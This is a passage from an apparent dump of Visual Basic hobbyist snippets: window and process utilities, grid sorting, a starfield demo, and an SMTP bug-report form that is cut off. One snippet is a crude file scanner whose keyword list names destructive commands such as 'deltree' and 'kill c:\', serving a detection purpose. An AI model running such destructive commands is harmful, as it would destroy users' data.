Form, ByVal WinTitle As String, Optional ByVal CaseSensitive As Boolean = False) As Long\nDim lhWnd As Long, sA As String\nlhWnd& = frm.hwnd\nDo Until lhWnd& = 0\n DoEvents\n \n sA$ = GetCaption(lhWnd&)\n If InStr(IIf(CaseSensitive = False, LCase$(sA$), sA$), IIf(CaseSensitive = False, LCase$(WinTitle$), WinTitle$)) Then FindAnyWindow& = lhWnd&: Exit Do Else FindAnyWindow& = 0\n \n lhWnd& = GetNextWindow(lhWnd&, 2)\nLoop\nEnd Function"},{"WorldId":1,"id":2158,"LineNumber":1,"line":"'\n' 1999 by Dirk Bujna - b_dirk@yahoo.com\n'\nPublic Sub SortFlex(FlexGrid As MSFlexGrid, TheCol As Integer, ParamArray IsString() As Variant)\n \n FlexGrid.Col = TheCol\n For i = 0 To FlexGrid.Cols - 1\n Headline = FlexGrid.TextMatrix(0, i)\n Ascend = Right$(Headline, 1) = \"+\"\n Decend = Right$(Headline, 1) = \"-\"\n \n If Ascend Or Decend Then Headline = Left$(Headline, Len(Headline) - 1)\n \n \n If i = TheCol Then\n If Ascend Then\n \n FlexGrid.TextMatrix(0, i) = Headline & \"-\"\n If IsMissing(IsString(i)) Then\n FlexGrid.Sort = flexSortGenericDescending\n \n Else\n If IsString(i) Then\n FlexGrid.Sort = flexSortStringDescending\n Else\n FlexGrid.Sort = flexSortNumericDescending\n End If\n End If\n Else\n FlexGrid.TextMatrix(0, i) = Headline & \"+\"\n If IsMissing(IsString(i)) Then\n FlexGrid.Sort = flexSortGenericAscending\n \n Else\n \n If IsString(i) Then\n FlexGrid.Sort = flexSortStringAscending\n Else\n FlexGrid.Sort = flexSortNumericAscending\n End If\n End If\n End If\n Else\n FlexGrid.TextMatrix(0, i) = Headline\n End If\n \n Next i\n \nEnd Sub"},{"WorldId":1,"id":2160,"LineNumber":1,"line":"Public Function KillApp(myName As String) As Boolean\n \n Const PROCESS_ALL_ACCESS = 0\n Dim uProcess As PROCESSENTRY32\n Dim rProcessFound As Long\n Dim hSnapshot As Long\n Dim szExename As String\n Dim exitCode As Long\n Dim myProcess As Long\n Dim AppKill As Boolean\n Dim appCount As Integer\n Dim i As Integer\n On Local Error GoTo Finish\n appCount = 0\n \n Const TH32CS_SNAPPROCESS As Long = 2&\n \n uProcess.dwSize = Len(uProcess)\n hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)\n rProcessFound = ProcessFirst(hSnapshot, uProcess)\n Do While rProcessFound\n i = InStr(1, uProcess.szexeFile, Chr(0))\n szExename = LCase$(Left$(uProcess.szexeFile, i - 1))\n If Right$(szExename, Len(myName)) = LCase$(myName) Then\n KillApp = True\n appCount = appCount + 1\n myProcess = OpenProcess(PROCESS_ALL_ACCESS, False, uProcess.th32ProcessID)\n AppKill = TerminateProcess(myProcess, exitCode)\n Call CloseHandle(myProcess)\n End If\n rProcessFound = ProcessNext(hSnapshot, uProcess)\n Loop\n Call CloseHandle(hSnapshot)\nFinish:\nEnd Function\n"},{"WorldId":1,"id":2176,"LineNumber":1,"line":"Dim ans As Integer\nPrivate Sub Command1_Click()\nIf Text1.Text = \" \" Or \"Question_Goes_Here\" Then\nMsgBox \"ah, ask a question first!\", vbCritical, \"ERROR!!!!\"\n' calls random Change the # 8 to get more varibles\n' but don't forget to add them below\nElse\nans = (Int(Rnd * 8) + 1)\n'If you want diffrent answers put them in below\nIf ans = 1 Then\nLabel1.Caption = \"Its not likely\"\nEnd If\nIf ans = 2 Then\nLabel1.Caption = \"It looks possible\"\nEnd If\nIf ans = 3 Then\nLabel1.Caption = \"Yes\"\nEnd If\nIf ans = 4 Then\nLabel1.Caption = \"No\"\nEnd If\nIf ans = 5 Then\nLabel1.Caption = \"Things are looking up\"\nEnd If\nIf ans = 6 Then\nLabel1.Caption = \"Ask again later\"\nEnd If\nIf ans = 7 Then\nLabel1.Caption = \"Only if you get me a brownie\"\nEnd If\nIf ans = 8 Then\nLabel1.Caption = \"Certinally\"\nEnd If\nEnd If\nEnd Sub\nPrivate Sub Form_DblClick()\nMsgBox \"MMM.... YOUR EYE TASTES LIKE CHEESE\"\n'EASTER EGG!!!! ALL PROGRAMS SHOULD HAVE THESE!!\nEnd Sub\nEnd Sub\nPrivate Sub Form_Load()\nText1.Text = \"Question_Goes_Here\"\nCommand1.Caption = \"Ask me...\"\nEnd Sub\nPrivate Sub Text1_Click()\nText1.Text = \" \"\nEnd Sub\n"},{"WorldId":1,"id":2179,"LineNumber":1,"line":"Public Sub CreateFolders(ByVal sPath As String)\n Dim oFileSystem As New Scripting.FileSystemObject\n 'or late-bind with:\n 'Dim oFileSystem As Object\n 'Set oFileSystem = CreateObject(\"Scripting.FileSystemObject\")\n On Error GoTo ErrorHandler\n With oFileSystem\n ' Is this drive valid and ready?\n If .DriveExists(.GetDriveName(sPath)) Then\n ' Is this folder not yet valid?\n If Not .FolderExists(sPath) Then\n ' Recurse back in to this method until a parent folder is valid.\n CreateFolders .GetParentFolderName(sPath)\n ' Create only a nonexistant folder before exiting the method.\n .CreateFolder sPath\n End If\n End If\n End With\n Set oFileSystem = Nothing\nExitMethod:\n Exit Sub\nErrorHandler:\n App.LogEvent \"CreateFolders Error in \" & Err.Source & _\n \": Could not create \" & sPath & \".\", vbLogEventTypeInformation\nEnd Sub\n"},{"WorldId":1,"id":2191,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2192,"LineNumber":1,"line":"Const buf_size = 4096\t\t'we scan it in 4096 byte chunks\nDim filename As String\nDim buffer As String\nDim resultsMSG as string\nDim strScan1 as boolean\nDim strScan2 as boolean\nDim strScan3 as boolean\nDim strScan4 as boolean\nDim strScan5 as boolean \nDim corrupt as integer\t \t\t'percent of strings found\ncorrupt = 0: filename = \"C:\\Windows\\win.ini\" 'i use win.ini as an example\n Open filename For Binary As 1\t\t'the open file command\n Do While Not EOF(1)\n buffer = Space(buf_size) 'this buffer is the 4096 \n Get 1, , buffer\t\t\t'gets that size from file\n DoEvents\n If InStr(1, buffer, \"kill\") Then strScan1 = true\t'you can replace these strings with anything\n If InStr(1, buffer, \"kill c:\\\") Then strScan2 = true ' even make yourself a neat little file finder\n If InStr(1, buffer, \"deltree\") Then strScan3 = true\n If InStr(1, buffer, \"shell =\") Then strScan4 = true\n If InStr(1, buffer, \"hard drive\") Then strScan5 = true\n Loop\n Close 1\nif strScan1 = true then corrupt = corrupt + 20: resultsMSG =resultsMSG & \"kill, \" 'this is my useless garble\nif strScan2 = true then corrupt = corrupt + 20: resultsMSG =resultsMSG & \"kill c:\\, \" 'to tell the results of a \nif strScan3 = true then corrupt = corrupt + 20: resultsMSG =resultsMSG & \"deltree, \" 'scan\nif strScan4 = true then corrupt = corrupt + 20: resultsMSG =resultsMSG & \"shell=, \"\nif strScan5 = true then corrupt = corrupt + 20: resultsMSG =resultsMSG & \"hard drive, \"\nMsgBox \"-file scanned for strings - \" & Chr(10) & corrupt & \"% of strings found.\" & chr(10) & resultsMSG\n"},{"WorldId":1,"id":2197,"LineNumber":1,"line":"Sub Timer1_Timer ()\n Unload Form1\n Load Form2\n Form2.Show\nEnd Sub\n'The above code tells Visual Basic that after the Timer control waits for the time specified by the Interval property, it should unload Form1 (your splash screen) and then load and display Form2 (which contains your 'program's first screen).\n\nSub Image1_Click ()\n Timer1.Enabled = False\n Unload Form1\n Load Form2\n Form2.Show\nEnd Sub\n\n\n'Experiment with creating splash screens for all of your programs. Whether you need to use splash screens to give your programs a professional look, or you need a splash screen to fake the illusion of speed for your users, you may find splash screens to be a simple, yet effective way to make your programs more acceptable to the average user.\n\nThe above steps are all that you need for a splash screen to disguise the fact that your program takes time to load. However, if your program loads quickly, you can give the user the option of clicking on the splash screen to make it go away, rather than wait a specified amount of time.\nTo give your splash screens the ability to disappear when the user clicks the mouse, add the following code to the Image1 event procedure stored on Form1\n"},{"WorldId":1,"id":2206,"LineNumber":1,"line":"' Get the current username from Windows\n' Coded By MAGiC MANiAC^mTo\n' More Examples At: http://home.kabelfoon.nl/~mto/\n'\nDeclare Function GetUserName Lib \"advapi32.dll\" Alias \"GetUserNameA\" _ (ByVal lpBuffer As String, nSize As Long) As Long\nFunction CurUserName$()\n Dim sTmp1$\n sTmp1 = Space$(512)\n GetUserName sTmp1, Len(sTmp1)\n CurUserName = Trim$(sTmp1)\nEnd Function\n"},{"WorldId":1,"id":2209,"LineNumber":1,"line":"Private Sub cmdConnect_Click()\nDim x As Long\nIf Index = 0 Then\nx = WNetConnectionDialog(Me.hwnd, RESOURCETYPE_DISK)\nEnd If\nEnd Sub\nPrivate Sub cmdDisconnect_Click()\nIf Index = 1 Then\nx = WNetDisconnectDialog(Me.hwnd, RESOURCETYPE_DISK)\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":2215,"LineNumber":1,"line":"Dim objOutlook As Outlook.Application\nDim objMapiName As Outlook.NameSpace\nDim intCountUnRead As Integer\nPrivate Sub Check_Mail_Click()\n Set objOutlook = New Outlook.Application\n Set objMapiName = objOutlook.GetNamespace(\"MAPI\")\n \n For I = 1 To objMapiName.GetDefaultFolder(olFolderInbox).UnReadItemCount\n \n intCountUnRead = intCountUnRead + 1\n \n Next\n \n MsgBox \"You have \" & intCountUnRead & \" new messages in your Inbox . . \n \", vbInformation + vbOKOnly, \"New Messages . . .\"\n intCountUnRead = 0\n Set objMapiName = Nothing\n Set objOutlook = Nothing\n \nEnd Sub"},{"WorldId":1,"id":2222,"LineNumber":1,"line":"Private Declare Function ShellExecute Lib \"shell32.dll\" Alias _\n\"ShellExecuteA\" (ByVal hwnd As Long, ByVal lpOperation As _\nString, ByVal lpFile As String, ByVal lpParameters As String, _\nByVal lpDirectory As String, ByVal nShowCmd As Long) As Long\n'The Search-Engine list:\nConst SearchEngineList As String = \"http://www.altavista.digital.com/cgi-bin/query?pg=q&what=web&fmt=.&q=||http://www.excite.com/search.gw?c=web&search=||http://www.hotbot.com/?SW=web&SM=MC&MT=||http://guide-p.infoseek.com/Titles?qt=|&col=WW&sv=IS&lk=noframes|http://www.lycos.com/cgi-bin/pursuit?query=||http://search.yahoo.com/bin/search?p=||http://search02.softseek.com/cgi-bin/search.cgi?keywords=|&seekindex=index&maxresults=025&cb=|http://www.audiofind.com:70/?audiofindsearch=|&audiofindtype=\"\nConst wAltaVista As Long = 1\nConst wExcite As Long = 3\nConst wHotBot As Long = 5\nConst wInfoseek As Long = 7\nConst wLycos As Long = 9\nConst wYahoo As Long = 11\nConst wSoftSeek As Long = 13\nConst wAudioFind As Long = 15\nFunction PartOfString(Str As String, Seperator As String, Number As Long)\nDim Current, Temp, Full\nCurrent = 1\nFor q = 1 To Len(Str)\nTemp = Mid(Str, q, 1)\nIf Temp = Seperator Then Current = Current + 1\nIf Current = Number And Not Temp = Seperator Then Full = Full & Temp\nNext q\nPartOfString = Full\nEnd Function\nSub SearchTheWeb(ForWhat As String, WithWhat As Long)\nret& = ShellExecute(Me.hwnd, \"Open\", PartOfString(SearchEngineList, \"|\", WithWhat) & ForWhat & PartOfString(SearchEngineList, \"|\", WithWhat + 1), \"\", App.Path, 1)\nEnd Sub"},{"WorldId":1,"id":2250,"LineNumber":1,"line":"Private Sub Command1_Click()\nIf Text1.Text = \"\" Then\nMsgBox \"No Connnection!\"\nElse\nMsgBox \"Connection Detected\"\nEnd If\nEnd Sub\nPrivate Sub Form_Load()\nText1.Text = Winsock1.LocalIP\n\nEnd Sub\n'Easy ha ? .. This is the way i like it !!"},{"WorldId":1,"id":2279,"LineNumber":1,"line":"Function AllowZeroLength(strDatabase As String, strtablename As String, status As Boolean) As Boolean\nDim db As Database\nDim td As TableDef\nDim fd As Field\nOn Error GoTo Error_Handler\nSet db = OpenDatabase(strDatabase)\nSet td = db.TableDefs(strtablename)\n 'loop through the fields in the selected recordset\n For Each fd In td.Fields\n 'Check the field type, and only change the value of text and memo fields\n If fd.Type = dbText Or dbMemo Then\n If status = True Then\n fd.AllowZeroLength = True\n Else\n fd.AllowZeroLength = False\n End If\n End If\n Next fd\n \n AllowZeroLength = True\n ' Exit Early to avoid error handler.\n Exit Function\nError_Handler:\n ' Raise an error.\n Err.Raise Err.Number, \"AllowZeroLength\", \"Could not process fields.\", Err.Description\n AllowZeroLength = False\n \n ' Reset normal error checking.\n Resume Next \n \nEnd Function\n"},{"WorldId":1,"id":2280,"LineNumber":1,"line":"'create 3 text boxes\n'to encrypt\ntext2.text=encrypt(text1.text)\n\n'to decrypt\ntext3.text=decrypt(text2.text)\n"},{"WorldId":1,"id":2296,"LineNumber":1,"line":"Now you can test the code in following steps:\n 1) Create a new Visual Basic project\n 2) Add the UserControl to your project and named it as 'TransparentCtrl'\n 3) Add the following code to the control\n' Start Control Code\n Public Property Get MaskPicture() As Picture\n Set MaskPicture = UserControl.MaskPicture\n End Property\n \n Public Property Set MaskPicture(ByVal picNew As Picture)\n \n Set UserControl.MaskPicture = picNew\n 'Put the Refresh() code before the Set Picture Property will\n 'have better effection\n Me.Refresh\n Set UserControl.Picture = picNew\n \n PropertyChanged \"MaskPicture\"\n \n End Property\n Public Property Get MaskColor() As OLE_COLOR\n MaskColor = UserControl.MaskColor\n End Property\n \n Public Property Let MaskColor(ByVal clrMaskColor As OLE_COLOR)\n UserControl.MaskColor = clrMaskColor\n Me.Refresh\n PropertyChanged \"MaskColor\"\n End Property\n 'Refresh() to changed the container region with usercontrol's\n Public Sub Refresh()\n \n 'On Local Error Resume Next\n \n Dim hRgnNormal As Long\n \n With UserControl \n \n If .MaskPicture = 0 Then\n hRgnNormal = CreateRectRgn(0, 0, .ScaleX(.Width), .ScaleY(.Height))\n SetWindowRgn .Extender.Container.hWnd, hRgnNormal, True\n Else\n \n .Size .ScaleX(.MaskPicture.Width), .ScaleY(.MaskPicture.Height)\n .Extender.Container.Width = .Width\n .Extender.Container.Height = .Height\n .Extender.Move 0, 0\n \n 'Gwyshell\n 'Let the system have time to finish the special regions created\n DoEvents\n \n 'Set New Regions\n SetWindowRgn .Extender.Container.hWnd, Me.hRgn , True\n \n If Err Then\n MsgBox \"The Container not support the mothods\"\n End If\n \n End If\n \n End With\n \n End Sub\n Public Property Get hRgn() As OLE_HANDLE\n \n hRgn = CreateRectRgn(0, 0, 1, 1)\n GetWindowRgn Me.hWnd, hRgn\n \n End Property\n 'Following code to persist the control's property\n Private Sub UserControl_ReadProperties(PropBag As PropertyBag)\n \n Me.MaskColor = PropBag.ReadProperty(\"MaskColor\", &H8000000F)\n Set Me.MaskPicture = PropBag.ReadProperty(\"MaskPicture\", Nothing)\n \n End Sub\n \n Private Sub UserControl_WriteProperties(PropBag As PropertyBag)\n \n PropBag.WriteProperty \"MaskColor\", Me.MaskColor, &H8000000F\n PropBag.WriteProperty \"MaskPicture\", Me.MaskPicture, Nothing\n \n End Sub\n \n' End of Control Code\n 4) Now close the UserControl Designer to make the control active.\n Add the control on the form and assign the mask picture and mask color \n to the control.\n 5) After this, you may see the region of the form has been changed.\n To get the full code please visit here:\nhttp://www.mgt.ncu.edu.tw/~im841150/Documents/TransparentCtrl/TransparentCtrl.htm"},{"WorldId":1,"id":2328,"LineNumber":1,"line":"Option Explicit\n' Define a Star\nPrivate Type StarType\n xs As Long ' X start coordinate\n ys As Long ' Y start coordinate\n xe As Long ' X end coordinate\n ye As Long ' Y end coordinate\n Speed As Single ' Star speed\nEnd Type\n'Number of Stars in the StarField\nConst gStarCount = 150\n' Define a \"StarField\" as a certain number of \"Stars\"\nDim StarField(gStarCount) As StarType\nDim gXCen As Long ' x center of vortex\nDim gYCen As Long ' y center of vortex\nDim gXVortexLow As Long ' left most edge of vortex\nDim gXVortexHigh As Long ' right most edge of vortex\nDim gYVortexLow As Long ' top edge of vortex\nDim gYVortexHigh As Long ' bottom edge of vortex\nDim gMaxRad As Long ' used to adjust star \"brightness\"\nDim gHyperSpace As Boolean ' used to toggle hyperspace mode\n\nPrivate Sub Form_Load()\n ' assign several Form properties\n Me.BackColor = vbBlack\n Me.Caption = \"StarField - Jeff Godfrey\"\n Me.Show\n Me.WindowState = vbMaximized\n \n ' assign vortex center to be the form center\n GetNewVortex Me.ScaleWidth / 2, Me.ScaleHeight / 2\n \n ' initialize all Star objects\n InitStars\n \nEnd Sub\n' initialize all Star objects\nSub InitStars()\n Dim i As Integer\n \n For i = 1 To gStarCount\n \n ' assign locations and speeds to all Stars in the StarField\n StarField(i).xs = (gXVortexHigh - gXVortexLow - 1) * Rnd + gXVortexLow\n StarField(i).ys = (gYVortexHigh - gYVortexLow - 1) * Rnd + gYVortexLow\n StarField(i).xe = StarField(i).xs\n StarField(i).ye = StarField(i).ys\n StarField(i).Speed = Rnd + 0.1 ' (.1 - 1.1)\n \n Next i\nEnd Sub\n' if the left mouse button was clicked, reassign vortex center\n' to mouse location...\n' if the right mouse button was clicked, activate\n' \"hyperspace\" mode\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n \n If (Button = vbLeftButton) Then\n GetNewVortex X, Y\n ElseIf (Button = vbRightButton) Then\n gHyperSpace = True\n End If\nEnd Sub\n' If the mouse is moved with the left button held down,\n' continually change the vortex center\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n \n If (Button = vbLeftButton) Then\n GetNewVortex X, Y\n End If\nEnd Sub\n' if the right button was just released...\n' deactivate hyperspace mode and erase the hyperspace effect\nPrivate Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n \n If (Button = vbRightButton) Then\n gHyperSpace = False\n Me.Cls\n End If\n \nEnd Sub\n' if the form is resized, reassign the vortex center to the new window center\nPrivate Sub Form_Resize()\n ' recalculate new vortex information based on current form dimensions\n GetNewVortex Me.ScaleWidth / 2, Me.ScaleHeight / 2\n \n ' if window is minimized or maximized, don't resize it\n ' (this will prevent a RunTime error...)\n If (Me.WindowState = vbMaximized) Then Exit Sub\n If (Me.WindowState = vbMinimized) Then Exit Sub\n \n ' ensure form is not made too small - this will\n ' prevent a possible \"divide by 0\" error...\n If Me.Width < 500 Then Me.Width = 500\n If Me.Height < 1500 Then Me.Height = 1500\n \nEnd Sub\n' Assign new vortex and other misc variables\n' input: The X,Y coordinates of the new vortex center\n' output: Nothing (reassigns global vortex variables)\nSub GetNewVortex(ByVal VortexgXCen As Long, ByVal VortexgYCen As Long)\n \n Dim XOffset As Long ' a +/- X range from the vortex center\n Dim YOffset As Long ' a +/- Y range from the vortex center\n \n gXCen = VortexgXCen ' the GLOBAL center of the vortex\n gYCen = VortexgYCen ' the GLOBAL center of the vortex\n \n ' calculate a range distance from the vortex center.\n XOffset = Int(Me.Width * 0.1)\n YOffset = Int(Me.Height * 0.1)\n \n ' calculate the GLOBAL actual range for both axis'\n ' a new star will always be \"born\" within this area...\n gXVortexLow = gXCen - XOffset\n gXVortexHigh = gXCen + XOffset\n gYVortexLow = gYCen - YOffset\n gYVortexHigh = gYCen + YOffset\n \n ' Assign a GLOBAL \"maximum screen radius\". This is\n ' used in the Star's brightness calculation\n If (Me.ScaleWidth < Me.ScaleHeight) Then\n gMaxRad = Int(Me.ScaleWidth / 2)\n Else\n gMaxRad = Int(Me.ScaleHeight / 2)\n End If\n \nEnd Sub\n' when the timer fires, animate each Star in the StarField\n' this is where all the interesting stuff happens...\nPrivate Sub Timer1_Timer()\n Dim i As Integer\n \n Dim XVector As Long ' current Star's X distance from \"vortex\" center\n Dim YVector As Long ' current Star's Y distance from \"vortex\" center\n Dim NewXe As Long ' New X end coord of current Star\n Dim NewYe As Long ' New Y end coord of current Star\n Dim NewXs As Long ' New X start coord of current Star\n Dim NewYs As Long ' New Y start coord of current Star\n Dim Speed As Single ' Speed of current Star\n Dim Range As Integer ' Range of current Star\n Dim DrawColor As Integer ' Color of current Star\n Dim EraseColor As Integer ' Erase color (the form's background color)\n \n ' assign the erase color to be the form background color\n EraseColor = Me.BackColor\n \n ' for each Star in the StarField...\n For i = 1 To gStarCount\n \n ' set new startpoint equal to the Star's previous endpoint\n NewXs = StarField(i).xe\n NewYs = StarField(i).ye\n Speed = StarField(i).Speed\n \n ' calculate X and Y distances from the current \"vortex\" center\n XVector = Abs(gXCen - NewXs)\n YVector = Abs(gYCen - NewYs)\n \n ' calculate Star's X direction and length based on current \"vortex\" X center\n If (NewXs > gXCen) Then\n NewXe = NewXs + Int(XVector * 0.2) * Speed\n Else\n NewXe = NewXs - Int(XVector * 0.2) * Speed\n End If\n \n ' calcuate Star's Y direction and length based on current \"vortex\" Y center\n If (NewYs > gYCen) Then\n NewYe = NewYs + Int(YVector * 0.2) * Speed\n Else\n NewYe = NewYs - Int(YVector * 0.2) * Speed\n End If\n \n ' if not in hyperspace mode...\n ' erase previous copy of the current Star (draw in backcolor)\n If (Not gHyperSpace) Then\n Me.Line (StarField(i).xs, StarField(i).ys)- _\n (StarField(i).xe, StarField(i).ye), EraseColor\n End If\n \n ' if new start coord is off the screen, reset it \"near\" the \"vortex\" center\n If (NewXs < 0 Or NewXs > Me.ScaleWidth Or _\n NewYs < 0 Or NewYs > Me.ScaleHeight) Then\n \n StarField(i).xs = (gXVortexHigh - gXVortexLow - 1) * Rnd + gXVortexLow\n StarField(i).ys = (gYVortexHigh - gYVortexLow - 1) * Rnd + gYVortexLow\n StarField(i).xe = StarField(i).xs\n StarField(i).ye = StarField(i).ys\n \n ' if new start coord is on the screen, draw new Star vector\n Else\n \n ' see how far the Star is from the \"vortex\" center\n ' this is used to determine its \"brightness\"...\n Range = GetStarRange(NewXs, NewYs)\n DrawColor = Range * 25\n \n ' draw the Star at its new location\n ' the Star color can be changed here (currently yellow...)\n Me.Line (NewXs, NewYs)-(NewXe, NewYe), RGB(DrawColor, DrawColor, 0)\n \n ' store Star endpoints for next erase cycle...\n StarField(i).xs = NewXs\n StarField(i).ys = NewYs\n StarField(i).xe = NewXe\n StarField(i).ye = NewYe\n \n End If\n \n Next i\n \nEnd Sub\n' determine how far the Star is from the \"vertex\" center\n' used to determine the Star's brightness\n' Note: Since this routine is called within the main animation\n' loop, it is VERY EXPENSIVE (in CPU cycles) due the\n' muliply, divide, and square root math. There should\n' be a better way, but this will work for now...\n' Input: X and Y coordinate of current star\n' Output: An integer in the range of 1-10\nFunction GetStarRange(ByVal X As Long, ByVal Y As Long) As Integer\n Dim Dist As Long\n Dim XVector As Long\n Dim YVector As Long\n \n XVector = Abs(gXCen - X)\n YVector = Abs(gYCen - Y)\n \n ' Calculate distance from \"vortex\" center\n \n Dist = Sqr(XVector * XVector + YVector * YVector)\n \n ' return value in the range of 1-10\n \n GetStarRange = Int((Dist / gMaxRad) * 10)\n \n If (GetStarRange < 1) Then GetStarRange = 1\n If (GetStarRange > 10) Then GetStarRange = 10\n \nEnd Function"},{"WorldId":1,"id":2338,"LineNumber":1,"line":"' Get the current computername from Windows\n' Coded By MAGiC MANiAC^mTo\n' More Examples At: http://home.kabelfoon.nl/~mto/\n'\nDeclare Function GetComputerName Lib \"kernel32\" Alias \"GetComputerNameA\" _ (ByVal lpBuffer$, nSize As Long) As Long\nFunction CurComputerName$()\n Dim sTmp1$\n sTmp1 = Space$(512)\n GetComputerName sTmp1, Len(sTmp1)\n CurComputerName = Trim$(sTmp1)\nEnd Function\n"},{"WorldId":1,"id":2350,"LineNumber":1,"line":"Const PARAMHEADER = \"/\"\nPublic Function getTokens(CommandLine As String) As Collection\n Dim reminder As String\n Dim col As New Collection\n Dim pos As Integer\n Dim param As String\n Dim paramValue As String\n Dim paramName As String\n \n reminder = CommandLine\n pos = InStr(reminder, \" \")\n Do While pos > 0\n param = Trim(Left(reminder, pos - 1))\n If (Left(param, 1) = PARAMHEADER) Then\n Call AddParamCol(col, paramValue, paramName)\n paramValue = \"\"\n paramName = Mid(param, 2)\n Else\n paramValue = param\n End If\n reminder = Trim(Mid(reminder, pos + 1))\n pos = InStr(reminder, \" \")\n Loop\n paramValue = Trim(reminder)\n Call AddParamCol(col, paramValue, paramName)\n \n Set getTokens = col\nEnd Function\nPrivate Sub AddParamCol(c As Collection, s As String, k As String)\n If k = \"\" Then Exit Sub\n On Error Resume Next\n Call c.Add(s, LCase(k))\nEnd Sub\n'--------------------------------------\nPrivate Sub Form1_Load()\n Dim Args As Collection\n \n Set Args = getTokens(Command)\n On Error Resume Next\n User = Args(\"u\")\n Password = Args(\"p\")\n Domain = Args(\"d\")\n 'Add your variables and actions\nEnd Sub"},{"WorldId":1,"id":2355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2359,"LineNumber":1,"line":"'Save it as SendBug.frm and compile it!\n'-------------------8< Cut here ---------------------------------------\nVERSION 5.00\nObject = \"{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0\"; \"MSWINSCK.OCX\"\nBegin VB.Form Form1 \n BorderStyle = 0 'Kein\n Caption = \"Send Bug Report\"\n ClientHeight = 3195\n ClientLeft = 0\n ClientTop = 0\n ClientWidth = 4680\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 3195\n ScaleWidth = 4680\n StartUpPosition = 2 'Bildschirmmitte\n Begin MSWinsockLib.Winsock Winsock1 \n Left = 120\n Top = 120\n _ExtentX = 741\n _ExtentY = 741\n _Version = 393216\n End\n Begin VB.CommandButton Exit \n Caption = \"Exit\"\n Height = 255\n Left = 2280\n TabIndex = 2\n Top = 2880\n Width = 2295\n End\n Begin VB.CommandButton Connect \n Caption = \"Send Bug Report\"\n Height = 255\n Left = 120\n TabIndex = 1\n Top = 2880\n Width = 2055\n End\n Begin VB.TextBox Bugreporttxt \n Height = 2655\n Left = 120\n MultiLine = -1 'True\n TabIndex = 0\n Top = 120\n Width = 4455\n End\nEnd\nAttribute VB_Name = \"Form1\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nOption Explicit\nPrivate bTrans As Boolean\nPrivate m_iStage As Integer\nPrivate strData As String\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'CHANGE THIS SETTING LIKE YOU NEED IT\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\nPrivate Const mailserver As String = \"your-mail-server.com\"\nPrivate Const Tobox As String = \"youre-mail@adress.com\"\nPrivate Const Frombox As String = \"theuser@ofthisprogram.com\"\nPrivate Const Subject As String = \"Heading of the E-Mail send to you!\"\n\n'***************************************************************\n'Routine for connecting to the server\n'***************************************************************\nPrivate Sub Connect_Click()\nIf Winsock1.State <> sckClosed Then Winsock1.Close\nWinsock1.LocalPort = 0\nWinsock1.Protocol = sckTCPProtocol\nWinsock1.Connect mailserver, \"25\"\nbTrans = True\nm_iStage = 0\nstrData = \"\"\nCall WaitForResponse\nEnd Sub\n'***************************************************************\n'Transmit the E-Mail\n'***************************************************************\nPrivate Sub Transmit(iStage As Integer)\nDim Helo As String, temp As String\nDim pos As Integer\nSelect Case m_iStage\nCase 1:\nHelo = Frombox\npos = Len(Helo) - InStr(Helo, \"@\")\nHelo = Right$(Helo, pos)\nWinsock1.SendData \"HELO \" & Helo & vbCrLf\nstrData = \"\"\nCall WaitForResponse\nCase 2:\nWinsock1.SendData \"MAIL FROM: <\" & Trim(Frombox) & \">\" & vbCrLf\nCall WaitForResponse\nCase 3:\nWinsock1.SendData \"RCPT TO: <\" & Trim(Tobox) & \">\" & vbCrLf\nCall WaitForResponse\nCase 4:\nWinsock1.SendData \"DATA\" & vbCrLf\nCall WaitForResponse\nCase 5:\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'If you want additional Headers like Date,Message-Id,...etc. !\n'simply add them below !\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\ntemp = temp & \"From: \" & Frombox & vbNewLine\ntemp = temp & \"To: \" & Tobox & vbNewLine\ntemp = temp & \"Subject: \" & Subject & vbNewLine\n'Header + Message\ntemp = temp & vbCrLf & Bugreporttxt.Text\n'Send the Message & close connection\nWinsock1.SendData temp\nWinsock1.SendData vbCrLf & \".\" & vbCrLf\nm_iStage = 0\nbTrans = False\nCall WaitForResponse\nEnd Select\nEnd Sub\n'***************************************************************\n'Routine for Winsock Errors\n'***************************************************************\nPrivate Sub Winsock1_Error(ByVal number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)\nMsgBox \"Error:\" & Description, vbOKOnly, \"Winsock Error!\" ' Show error message\nIf Winsock1.State <> sckClosed Then\nWinsock1.Close\nEnd If\nEnd Sub\n'***************************************************************\n'Routine for arraving Data\n'***************************************************************\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim messagesent As String\n\nOn Error Resume Next\nWinsock1.GetData strData, vbString\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'!If you have problems with sending the E-Mail, you should !\n'!activate the line below and add a Textbox txtStatus, to !\n'!see the Server's response !\n'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'txtStatus.Text = txtStatus.Text & strData\nIf bTrans Then\nm_iStage = m_iStage + 1\nTransmit m_iStage\nElse\n If Winsock1.State <> sckClosed Then Winsock1.Close\n messagesent = MsgBox(\"Bug report sent! Hit exit to end program.\", vbOKOnly, \"Bug Report\")\nEnd If\nEnd Sub\n'**************************************************************\n'NEW! Waits until time out, while waiting for response\n'**************************************************************\nSub WaitForResponse()\nDim Start As Long\nDim Tmr As 